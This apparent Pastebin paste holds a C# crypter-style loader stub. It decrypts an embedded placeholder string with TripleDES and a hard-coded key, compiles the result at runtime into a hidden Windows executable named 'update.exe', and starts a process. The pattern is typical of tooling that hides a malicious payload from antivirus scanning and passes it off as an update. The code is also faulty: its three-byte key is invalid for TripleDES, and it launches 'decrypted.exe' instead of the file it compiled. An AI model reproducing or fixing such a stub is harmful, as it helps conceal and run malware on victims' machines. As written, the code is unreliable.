Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using Microsoft.CSharp;
- using System;
- using System.CodeDom.Compiler;
- using System.Diagnostics;
- using System.Security.Cryptography;
- using System.Text;
- namespace ConsoleApp4
- {
- class Program
- {
- static void Main(string[] args)
- {
- string decrypted = Decrypt("ENCRYPTION");
- CSharpCodeProvider codeProvider = new CSharpCodeProvider();
- ICodeCompiler icc = codeProvider.CreateCompiler();
- System.CodeDom.Compiler.CompilerParameters parameters = new CompilerParameters();
- string[] ReferenceThings = new string[]
- {
- "Microsoft.CSharp.dll",
- "Microsoft.VisualBasic.dll",
- "System.dll",
- "System.Core.dll",
- "System.Data.dll",
- "System.Data.DataSetExtensions.dll",
- "System.Deployment.dll",
- "System.Net.Http.dll",
- "System.Windows.Forms.dll",
- "System.Xml.dll",
- "System.Xml.Linq.dll"
- };
- parameters.ReferencedAssemblies.AddRange(ReferenceThings);
- parameters.GenerateExecutable = true;
- parameters.OutputAssembly = "update.exe";
- parameters.CompilerOptions = "/optimize+ /platform:x86 /target:winexe /unsafe";
- CompilerResults results = icc.CompileAssemblyFromSource(parameters, decrypted);
- Process.Start("decrypted.exe");
- }
- public static string Decrypt(string cipherString)
- {
- byte[] keyArray;
- //get the byte code of the string
- byte[] toEncryptArray = Convert.FromBase64String(cipherString);
- //Get your key from config file to open the lock!
- string key = "OOF";
- //if hashing was not implemented get the byte code of the key
- keyArray = UTF8Encoding.UTF8.GetBytes(key);
- TripleDESCryptoServiceProvider tdes = new TripleDESCryptoServiceProvider();
- //set the secret key for the tripleDES algorithm
- tdes.Key = keyArray;
- //mode of operation. there are other 4 modes.
- //We choose ECB(Electronic code Book)
- tdes.Mode = CipherMode.ECB;
- //padding mode(if any extra byte added)
- tdes.Padding = PaddingMode.PKCS7;
- ICryptoTransform cTransform = tdes.CreateDecryptor();
- byte[] resultArray = cTransform.TransformFinalBlock(
- toEncryptArray, 0, toEncryptArray.Length);
- //Release resources held by TripleDes Encryptor
- tdes.Clear();
- //return the Clear decrypted TEXT
- return UTF8Encoding.UTF8.GetString(resultArray);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement